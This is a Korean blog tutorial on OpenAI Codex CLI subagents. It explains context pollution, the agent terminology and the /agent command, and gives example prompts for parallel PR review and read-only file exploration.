&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2166&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKSQMS/dJMcaiwub76/2a4FDPkwMyVtKm0DIFSsh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKSQMS%2FdJMcaiwub76%2F2a4FDPkwMyVtKm0DIFSsh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2166&quot; height=&quot;1160&quot; data-origin-width=&quot;2166&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 작업을 쪼개야 하는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 대화창에서 요구사항 정리부터 디버깅, 문서 작성까지 모두 처리하다 보면 두 가지 문제가 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 단어가 낯설 수 있지만, 결국 &quot;중요한 말이 잡음에 묻힌다&quot;는 이야기다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cR0b1L/dJMcajhQtDD/OAM142HFXgKL6Hbj649hT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcR0b1L%2FdJMcajhQtDD%2FOAM142HFXgKL6Hbj649hT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2114&quot; height=&quot;1152&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 서브에이전트 문서&lt;/a&gt;는 이 문제를 명확히 구분한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Context pollution: useful information gets buried under noisy intermediate output. Context rot: performance degrades as the conversation fills up with less relevant details.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;컨텍스트 오염: 유용한 정보가 불필요한 중간 출력에 묻혀 버린다. 컨텍스트 부식: 덜 관련된 세부 정보로 대화창이 채워지면서 성능이 점점 저하된다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context pollution&lt;/b&gt;은 말 그대로 &quot;대화창이 지저분해지는 현상&quot;이다. 파일 탐색 메모, 테스트 로그, 스택 트레이스(오류가 어디서 시작됐는지 보여주는 긴 기록)가 쌓이면서 정작 중요한 요구사항이 뒤로 밀린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Context rot&lt;/b&gt;은 그 결과로 답변 품질이 서서히 나빠지는 상태다. 쉽게 말해, 대화창이 너무 어수선해져서 Codex가 처음 목표를 잊어버리는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결 방향은 단순하다. 메인 스레드, 즉 내가 계속 보고 있는 중심 대화창에는 &quot;요구사항&amp;middot;결정&amp;middot;최종 출력&quot;만 남긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 탐색이나 테스트처럼 로그가 많이 나오는 일은 서브에이전트에게 따로 맡기면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 두 개념을 굳이 나누는 이유도 실전에서는 꽤 중요하다. context pollution은 지금 당장 &quot;로그가 너무 많이 쌓였네&quot; 하고 알아차릴 수 있다. 반면 context rot은 한참 뒤에 &quot;왜 답이 점점 엉뚱해지지?&quot;라는 식으로 드러난다. 먼저 오염을 줄이고, 길어진 대화에서는 품질 저하가 생기지 않는지 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 서브에이전트란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 핵심 용어 3가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;는 서브에이전트 관련 용어를 세 가지로 구분한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Subagent workflow: A workflow where Codex runs parallel agents and combines their results. Subagent: A delegated agent that Codex starts to handle a specific task. Agent thread: The CLI thread for an agent, which you can inspect and switch between with /agent.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;서브에이전트 워크플로: Codex가 여러 에이전트를 병렬로 실행하고 결과를 합치는 흐름. 서브에이전트: 특정 작업을 담당하도록 Codex가 시작한 보조 에이전트. 에이전트 스레드: /agent 명령으로 전환하거나 확인할 수 있는 에이전트별 CLI 작업창.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subagent workflow는 Codex가 여러 에이전트를 병렬로 실행하고 결과를 합치는 흐름이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;subagent는 특정 작업을 맡기기 위해 Codex가 시작한 보조 에이전트이고, agent thread는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;로 전환하거나 확인할 수 있는 에이전트별 작업창이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /agent&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpmPjo%2FdJMcaayuMFs%2FDc9uwc3HtccjwLAyt8pXO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;96&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;padding-left: 20px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;서브에이전트 워크플로(Subagent workflow)&lt;/b&gt;: Codex가 여러 보조 에이전트를 실행하고 결과를 합치는 전체 흐름이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;서브에이전트(Subagent)&lt;/b&gt;: 특정 작업을 담당하도록 Codex가 따로 띄운 보조 에이전트다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;에이전트 스레드(Agent thread)&lt;/b&gt;: CLI에서 각 에이전트가 일하는 개별 작업창이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 명령으로 전환하거나 확인할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관계는 이렇게 보면 쉽다. 하나의 작업 흐름 안에 여러 보조 작업자가 있고, 각 보조 작업자는 자기 대화창을 따로 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 중요한 것은 에이전트 스레드다. 서브에이전트는 안 보이는 곳에서 잠깐 실행되고 끝나는 기능이 아니다. CLI에서 직접 들어가 볼 수 있는 독립된 작업창으로 남는다. 그래서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 명령으로 실행 중인 서브에이전트의 중간 상태를 확인하거나 추가 지시를 줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 언제 필요한가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 상황에서 서브에이전트가 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, 대화창이 복잡해지기 시작할 때다. 메인 스레드에 요구사항과 탐색 로그가 뒤섞이면, 파일 조사 같은 작업을 서브에이전트로 빼는 편이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, 한 번에 읽기 어려울 만큼 큰 작업이다. 예를 들어 문서나 코드가 너무 많으면 Codex가 모든 내용을 한 대화 안에서 안정적으로 다루기 어렵다. 이때는 여러 서브에이전트가 각자 일부를 읽고, 핵심 요약만 메인 스레드로 돌려보내게 만들 수 있다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 서브에이전트 생성하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 명시적 지시만 가능하다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트 생성에는 중요한 전제가 있다. 공식 문서는 이를 명확히 못 박는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0SN40%2FdJMcaakVRQu%2FHiC4txyVJ7xQWo5sbzNAF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2064&quot; height=&quot;1112&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Codex doesn't spawn subagents automatically, and it should only use subagents when you explicitly ask for subagents or parallel agent work.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;Codex는 서브에이전트를 자동으로 생성하지 않으며, 사용자가 명시적으로 서브에이전트 또는 병렬 에이전트 작업을 요청할 때만 사용한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;서브에이전트를 마음대로 만들지 않는다. &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;병렬 에이전트를 써라&quot;, &quot;이 일을 나눠서 맡겨라&quot;처럼 직접 지시해야 한다.&lt;/b&gt; &lt;/span&gt;이 제한은 오히려 초보자에게 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나도 모르는 사이에 여러 에이전트가 실행되면 비용, 속도, 작업 흐름을 파악하기 어려워지기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 지시 표현 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;는 다음과 같은 표현을 직접 지시의 예로 든다. 이 표현만 되는 것은 아니고, 핵심은 &quot;일을 나눠서 병렬 에이전트에게 맡긴다&quot;는 의도가 분명해야 한다는 점이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;spawn two agents&quot;, &quot;delegate this work in parallel&quot;, &quot;use one agent per point&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;에이전트 두 개를 띄워라&quot;, &quot;이 작업을 병렬로 위임해라&quot;, &quot;항목마다 에이전트 하나씩 써라&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 &quot;병렬로&quot;, &quot;에이전트를 따로&quot;, &quot;항목별로 나눠서&quot; 같은 말을 프롬프트에 직접 넣는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 &quot;검토해 줘&quot;라고 쓰면 보통 하나의 메인 스레드에서 처리된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-radius: 10px; padding: 18px 20px; margin: 20px 0; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;비교 &amp;mdash; 같은 PR 리뷰 요청, 지시 방식에 따라 결과가 다르다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 원문&lt;/b&gt;: &quot;이 PR을 다각도로 리뷰해줘&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px; color: #dc3545; font-weight: bold; font-size: 0.9em;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트 지시 없을 때&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 6px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;이 PR을 다각도로 리뷰해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 보안&amp;middot;테스트&amp;middot;유지보수성이 한 응답에 섞여 나옴&lt;br /&gt;&amp;rarr; 각 관점의 깊이가 얕아지고, &quot;다각도&quot;의 범위는 Codex가 임의로 결정&lt;br /&gt;&amp;rarr; 어느 관점에서 뭘 말하는지 구분 안 됨&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 가장 최신 pr을 다각도로 리뷰해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 싱글 에이전트가 단독으로 계쏙 리뷰해 나가는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGuzsp%2FdJMcacwjwYJ%2F6C4y3zWg7ifgVO95FoTVG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1912&quot; height=&quot;1362&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px; color: #27ae60; font-weight: bold; font-size: 0.9em;&quot; data-ke-size=&quot;size16&quot;&gt;병렬 서브에이전트 명시 후&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Spawn one agent for security risks,
one for test gaps,
one for maintainability.
Wait for all three, then summarize by category with file references.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 2px 0 4px; font-size: 0.82em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어로도 동일하게 동작한다:&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 6px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;보안 리스크를 볼 에이전트, 테스트 빈틈을 볼 에이전트, 유지보수성을 볼 에이전트를 각각 하나씩 띄워라.
세 결과가 모두 나오면 파일 경로와 함께 카테고리별로 요약하라.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 각 에이전트가 한 관점만 깊이 분석&lt;br /&gt;&amp;rarr; 결과가 카테고리별로 정리되어 합치기 쉬움&lt;br /&gt;&amp;rarr; 완료 기준이 &quot;세 에이전트 모두 반환&quot;으로 명확&lt;br /&gt;&lt;br /&gt;ex) 가장 최신 pr을 보안&amp;nbsp;리스크를&amp;nbsp;볼&amp;nbsp;에이전트,&amp;nbsp;테스트&amp;nbsp;빈틈을&amp;nbsp;볼&amp;nbsp;에이전트,&amp;nbsp;유지보수성을&amp;nbsp;볼&amp;nbsp;에이전트를&amp;nbsp;각각&amp;nbsp;하나씩&amp;nbsp;띄워라.&lt;br /&gt;세&amp;nbsp;결과가&amp;nbsp;모두&amp;nbsp;나오면&amp;nbsp;파일&amp;nbsp;경로와&amp;nbsp;함께&amp;nbsp;카테고리별로&amp;nbsp;요약하라.&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 최신 커밋은 1개의 에이전트가 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;1686&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGn4t0%2FdJMcabqDDS2%2FwloD6kBxicpSvmkvNL6xS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2276&quot; height=&quot;1686&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;1686&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이후 지시사항대로 3개의 에이전트를 각각 띄워 작업을 시키는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrUV6Q%2FdJMcacpxcsz%2FkCHB3xLaUBvaDVneXEV221%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2224&quot; height=&quot;1010&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 실전 프롬프트 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 1 &amp;mdash; 읽기 전용 조사&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Use two parallel subagents for read-only exploration.
One subagent should map the changed files.
The other should find related tests.
Do not edit files. Return short summaries with file paths.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;읽기 전용 조사에 서브에이전트 2개를 병렬로 써라.
에이전트 1: 변경된 파일 목록을 정리해라.
에이전트 2: 관련 테스트 파일을 찾아라.
파일 수정 금지. 파일 경로가 포함된 짧은 요약만 돌려줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 이렇게 2개 정도의 읽기 전용 서브에이전트로 시작하는 편이 좋다. &quot;수정하지 말라&quot;, &quot;파일 경로를 포함해 짧게 요약하라&quot;를 함께 적어 두면 결과를 확인하기 쉽다.&lt;/p&gt;
